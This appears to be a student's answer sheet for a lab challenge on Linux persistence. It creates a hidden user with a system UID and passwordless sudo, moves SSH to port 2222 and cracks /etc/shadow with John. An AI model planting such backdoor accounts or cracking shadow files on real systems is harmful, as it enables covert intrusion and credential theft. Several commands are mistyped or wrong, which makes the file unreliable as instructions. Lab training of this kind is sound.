Module 6 Challenge Submission File

Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

sudo useradd -M sysd

2. Give your secret user a password.

sudo passwd sysd

3. Give your secret user a system UID < 1000.

sudo usermod -u 99 sysd

4. Give your secret user the same GID.

sudo groupmod -g 99 sysd

5. Give your secret user full sudo access without the need for a password.

sudo ALL=(ALL:ALL) NOPASSWD:ALL

6. Test that sudo access works without your password.

sudo -1

Step 2: Smooth Sailing

1. Edit the sshd_config file.

Port 2222

Step 3: Testing Your Configuration Update

1. Restart the SSH service.

sudo service ssh restart

2. Exit the root account.

exit

3. SSH to the target machine using your sysd account and port 2222.

sudo ssh sysd@192.168.6.105 -p 2222

4. Use sudo to switch to the root user.

sudo -s

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

ssh sysadmin@192.168.6.105 -p 2222

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

sudo john -show /etc/shadow

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